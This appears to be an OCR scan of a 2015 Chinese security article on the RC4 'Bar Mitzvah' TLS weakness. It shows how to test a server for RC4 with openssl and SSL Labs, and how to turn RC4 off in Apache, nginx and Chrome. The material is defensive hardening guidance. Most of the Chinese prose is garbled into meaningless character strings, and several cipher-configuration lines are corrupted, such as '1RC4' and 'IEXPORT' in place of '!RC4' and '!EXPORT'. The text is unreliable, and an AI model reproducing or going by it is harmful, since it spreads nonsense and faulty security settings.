Handshake Protocol

Upstream Key Upstream Key
Downstream Key Downstream Key
Use Bytes 0..35 of the FIEEE =
Upstream keystream -
3 TR Use Bytes 0..35 of the

Downstream keystream

Record Protocol

Use Bytes 36..36+n of HTTP Request [n]
the Upstream
keystream
SOBUG ### #ist
Kl 823

H AT 5148 Debian\Ubuntu\RedHat %% F:ifit & AT ARA SR I IEABE AN T, 5 5= (12 Bl POC
WARIEX A K, FrELREW S H B R )7 Zitir g R .

0x02 MR ATE -
Web #8817 SSL/TLS U510 528, FFARBEHL RC4 N8 B
b =M el

0x03 A< HuAY JUl 2 B 71 1% IR TR -
https ZE A6 7 5 12 (F — N sl f2 G55 i RCA §5 25807, AR AT LA A OpensSSL 4

openssl s_client -connect adobe.com:443 -cipher RC4

K 8-2-4:

gn, Inc.", "(c) 2 Sign, Inc. - For authorized use only", CN

gn, Inc

n, Inc. -
Ruthority

K 8-2-4
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WREBEIEF RS, 0 CLE BRE S B A Z S R - G SRR 2 "alert
handshake failure"iX ) 1 3l i BH 1% X i o2& 22 4= 1), & 8-2-5:

t 127.0.0.1:443 -cipher RC4

GET_SERVER HEL v3 alert handshake failur

No client certificate CR names gent

33L handshake has read 7 bytes and written €7 bytes

K 825
0x04 7ELE I 2 B A e %R -
AT LRI SSL Server Test -2 4R T 5, Z3RK T /R HTTPS A& &5 4775 KUK o
Chttps://www.ssllabs.com/ssltest/index.html|) 114 8-2-6:

SSL Report: adobe.com (192.150.16.64)

Assessed on: Sun Mar 29 13:15:24 PDT 2015 | Clear cache Scan Another »

Certificate
Protocol Support
Key Exchange

Cipher Strength

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

Certificate uses a weak signature. When renewing, ensure you upgrade to SHA2. MORE INFO »/

IThis server accepts the RC4 cipher, which is weak. Grade capped to B. MORE INFO » I

The server does not support Forward Secrecy with the reference browsers. MORE INFO »
This server supports TLS_FALLBACK_SC SV to prevent protocol downgrade attacks.
SOBUG %= Fiet
-
Kl 8-2-6
& /—[‘ - N\
(E3=REN

0x05 IiFRHEE 7 R:
1251 apache 45 #3 8 FH RCA i &k

vi /etc/httpd/conf.d/ssl.conf

BEON I N & .

SSLCipherSuite HIGH:MEDIUM:!aNULL:!MD5:1RC4

116 pi/3k 120 71 BI5flE: http://t.qg.com/hackcto HARHME: H 15 H T aE: il



(Z25%) — (5 BL AT B 77 M35k : www.hacketo.com Zk 405 : HACKCTO-201504-28

52 )5 apache i %5:

| /etc/init.d/httpd restart

VimEERE, WK 8-2-7:

ﬂl 125 demoB.demo.com FERIEEFER &
BpnEEA. °

iZiEEAERA TLS 1.2,

ZEEIEEEA AES_128 GCM #TmEisss
iF . 35S DHE_RSA #EE=a=saial.
T
ﬂﬁiﬁrﬁ“a bt FACE]
o et ._l-' T = —"‘r‘ -.'I
SOBYG »5% Fiad

K 827
20T nginx II#HE: 1.0.5 K UAGRA, ERIA SSL %5 542 HIGH: !laNULL:!MD5; 0.7.65.
0.8.20 M LAJG A, ERIA SSL M43 /2 HIGH:IADH:IMD5; 0.8.19 filiA, ZRIA SSL 5 HE 535
J& ALL:'ADH:RC4+RSA:+HIGH:+MEDIUM; 0.7.64. 0.8.18 M DARTRRA, BRIk SSL Z5ho 52
ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP o KA ) nginx B8 7% 1 BE 1) AT DL B 42
BIRZ T ssl FHEEL B N

ssl_ciphers
"ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-A
ES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES
256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DH
E-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GC
M-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH: !laNULL:!leNULL:IEXP
ORT:!DES:IMD5:!PSK:1RC4";

ssl_prefer_server_ciphers on;

5 2 nginx BUFT IR SS -

/etc/init.d/nginx reload

ViR EERCR, Wil 8-2-8:

ISR AES_128_GCM i THOEf ISR
iE . 7B ECOHE_RSA (EREHEZENS,

PssES
SOBYG “#¥8-kiid
K 8-2-8
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W RN S BB E e, K 8-2-9:

SSL Report: ex.fi (78.46.226.101)

Assessed on: Sun Mar 29 13:24:38 PDT 2015 | Clear cache Scan Another »

Summary

Overall Rating /

Certificate

A I Protocol Support
Key Exchange

Cipher Strength

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here. ‘

SOBUG2ik)Fi

K 8-2-9
0x06 N WHRF TR T R:
BRI\ 24 apache JT )i RC4 fL 5GBSy, Chrome I 5 #8177 1) 45 SR 41 P 8-2-10:

ﬂ 25 demol.demo.com ZERIEBER 1T
FfInERA,

ERER TS 1.2,

LEEEER RCA 125 HiThEe , BRIEE
SHAL #TRESHRITEEE RA (ERTE

= SOBUG At Hi

K 8-2-10

Windows FJ7:

1) 5E4 K Chrome W % #% F Moxzilla Firefox 1 %

2) BHfil—/NFEHHTH Chrome % 2% (Mozilla Firefox 1 Y #) i ddiE 77 2
3) fEFRaE N AR s, R

&) & [ BArl Emp s B R EMA LT a4

| --cipher-suite-blacklist=0x0004,0x0005,0xc011,0xc007

P 8-2-11:
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# Google Chrome Bt =
B | REST (FER (22 | FAES | LEEE

@ Google Chrome

Birsl: EEER
Eﬁ?fﬁﬁ Application

BT (T): itionhehrome. exe”

cipher—suite—blacld

AT (51 “C:\Program Files (x86)%Foogle'Chrome'h
g E): &

ETHR @ [EME0 -
=HE0): his Bk

| IFEHuEE® | [EHEFCO. || 28O,

K 8-2-11
0x0004 X} . RSA-RC4128-MD5 , 0x0005 Xf B RSA-RCA128-SHA , O0xcOll Xf M
ECDHE-RSA-RC4128-SHA, i # )5 ] Oxc007 *f. ECDHE-ECDSA-RC4128-SHA. XAFEHLAT LA
RC4 ZE 51, 11K 8-2-12:

[ https://demo8.demo.com

o =R aItbR T
EREAE Ll A=
& - s A
mmiﬁﬁﬁﬁ?'ﬁiﬁ%% i, {ﬂ{ '
K 8-2-12
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Mac 0S X F1': 1) 584=5%<H] Chrome W% 2% ; 2) HBIANL B ALK (Terminal) 5 3)

ANCANRE

/Applications/Google\
--cipher-suite-blacklist=0x0004,0x0005,0xc011,0xc007

Chrome.app/Contents/MacOS/Google\

Chrome

Linux /7. 1) 584 5<H] Chrome Wi gs; 2) FEZmi AL N

| google-chrome --cipher-suite-blacklist=0x0004,0x0005,0xc011,0xc007

0x07 Z3%3RIK :

http://en.wikipedia.org/wiki/Bar_mitzvah_attack

http://www.darkreading.com/attacks-breaches/ssl-tls-suffers-bar-mitzvah-attack-/d/d-id/131963

3

http://www.theregister.co.uk/2015/03/27/bar_mitzvah_crypto_attack/

(&358) TUESE: FEVEMIAE
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